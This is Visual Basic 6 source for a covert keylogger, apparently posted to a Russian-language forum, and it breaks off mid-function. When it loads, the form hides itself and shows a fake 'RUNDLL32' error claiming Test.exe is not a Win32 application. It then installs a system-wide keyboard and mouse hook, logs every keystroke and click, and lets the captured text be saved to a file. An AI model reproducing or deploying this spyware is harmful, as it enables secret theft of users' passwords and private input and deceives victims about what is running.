Dim WithEvents sh As cSystemHook
Dim strFileName As String

Dim strFileContent As String

Dim nFreeFile As Integer

Private Declare Function GetForegroundWindow& Lib "user32" ()
Private Declare Function GetWindowThreadProcessId& Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long)
Private Declare Function GetKeyboardLayout& Lib "user32" (ByVal dwLayout As Long)
Private Declare Function MapVirtualKeyEx Lib "user32" Alias "MapVirtualKeyExA" (ByVal uCode As Long, ByVal uMapType As Long, ByVal dwhkl As Long) As Long

Private Sub Command1_Click()
nFreeFile = FreeFile

strFileName = (txtAdres.Text)

If strFileName <> "" Then

Open strFileName For Output As nFreeFile

strFileContent = Text1.Text

Print #nFreeFile, strFileContent

Close

End If

End Sub

Private Sub Command2_Click()
nFreeFile = FreeFile

strFileName = (Text3.Text)

If strFileName <> "" Then

Open strFileName For Output As nFreeFile

strFileContent = Text2.Text

Print #nFreeFile, strFileContent

Close

End If

End Sub

Private Sub Command3_Click()
End
End Sub

Private Sub Form_Load()
Timer1.Enabled = True
Me.Hide
MsgBox "Test.exe не является приложением Win 32.", vbExclamation, "RUNDLL32"
   Text1 = "Лог мыши:"
   Text2 = "Лог клавиатуры:"
   Set sh = New cSystemHook
   sh.SetHook
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Timer1.Enabled = False
End
End Sub

Private Sub sh_KeyDown(KeyCode As Integer, Shift As Integer)
   Dim s As String
   s = "KeyCode " & KeyCode
   s = s + CharFromKeyCode(KeyCode)
   If Shift = vbShiftMask Then s = s & " + Shift "
   If Shift = vbCtrlMask Then s = s & " + Ctrl "
   If Shift = vbAltMask Then s = s & " + Alt "
   Text2 = Text2 & vbCrLf & s & " down"
' Uncomment following string and all your input will be replaced with "a"
'   KeyCode = vbKeyA
End Sub

Private Sub sh_KeyUp(KeyCode As Integer, Shift As Integer)
   Dim s As String
   s = "KeyCode " & KeyCode
   s = s + CharFromKeyCode(KeyCode)
   If Shift = vbShiftMask Then s = s & " + Shift "
   If Shift = vbCtrlMask Then s = s & " + Ctrl "
   If Shift = vbAltMask Then s = s & " + Alt "
   Text2 = Text2 & vbCrLf & s & " up"
End Sub

Private Sub sh_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
  Dim s As String
  If Button = vbLeftButton Then s = "Left Button "
  If Button = vbRightButton Then s = "Right Button "
  If Button = vbMiddleButton Then s = "Middle Button "
  If Shift = vbShiftMask Then s = s & "+ Shift "
  If Shift = vbCtrlMask Then s = s & "+ Ctrl "
  If Shift = vbAltMask Then s = s & "+ Alt "
  Text1 = Text1 & vbCrLf & s & "Down at pos (pixels): " & CStr(x) & " , " & CStr(y)
End Sub

Private Sub sh_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
  Dim s As String
  If Button = vbLeftButton Then s = "Left Button "
  If Button = vbRightButton Then s = "Right Button "
  If Button = vbMiddleButton Then s = "Middle Button "
  If Shift = vbShiftMask Then s = s & "+ Shift "
  If Shift = vbCtrlMask Then s = s & "+ Ctrl "
  If Shift = vbAltMask Then s = s & "+ Alt "
  Text1 = Text1 & vbCrLf & s & "Up at pos (pixels): " & CStr(x) & " , " & CStr(y)
End Sub

Private Sub sh_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
  Dim s As String
  If Button = vbLeftButton Then s = "Left Button "
  If Button = vbRightButton Then s = "Right Button "
  If Button = vbMiddleButton Then s = "Middle Button "
  If Shift = vbShiftMask Then s = s & "+ Shift "
  If Shift = vbCtrlMask Then s = s & "+ Ctrl "
  If Shift = vbAltMask Then s = s & "+ Alt "
  Label1 = "Mouse info" & vbCrLf & "X = " & x & "  Y= " & y & vbCrLf
  If s <> "" Then Label1 = Label1 & "Extra Info: " & vbCrLf & s & "pressed"
End Sub

Private Sub Form_Unload(Cancel As Integer)
  sh.RemoveHook
  Set sh = Nothing
End Sub

Private Function CharFromKeyCode(k As Integer) As String
   Dim s As String
   Select Case k
          Case vbKeyBack:     s = "BackSpace"
          Case vbKeyTab:      s = "Tab"
          Case vbKeyClear:    s = "Clear"
          Case vbKeyReturn:   s = "Enter"
          Case vbKeyShift:    s = "Shift"
          Case vbKeyControl:  s = "Ctrl"
          Case vbKeyMenu:     s = "Alt"
          Case vbKeyPause:    s = "Pause"
          Case vbKeyCapital:  s = "CapsLock"
          Case vbKeyEscape:   s = "ESC"
          Case vbKeySpace:    s = "SPACEBAR"
          Case vbKeyPageUp:   s = "PAGE UP"
          Case vbKeyPageDown: s = "PAGE DOWN"
          Case vbKeyEnd:      s = "END"
          Case vbKeyHome:     s = "HOME"
          Case vbKeyLeft:     s = "LEFT ARROW"
          Case vbKeyUp:       s = "UP ARROW"
          Case vbKeyRight:    s = "RIGHT ARROW"
          Case vbKeyDown:     s = "DOWN ARROW"
          Case vbKeySelect:   s = "SELECT"
  &nbs

Ответить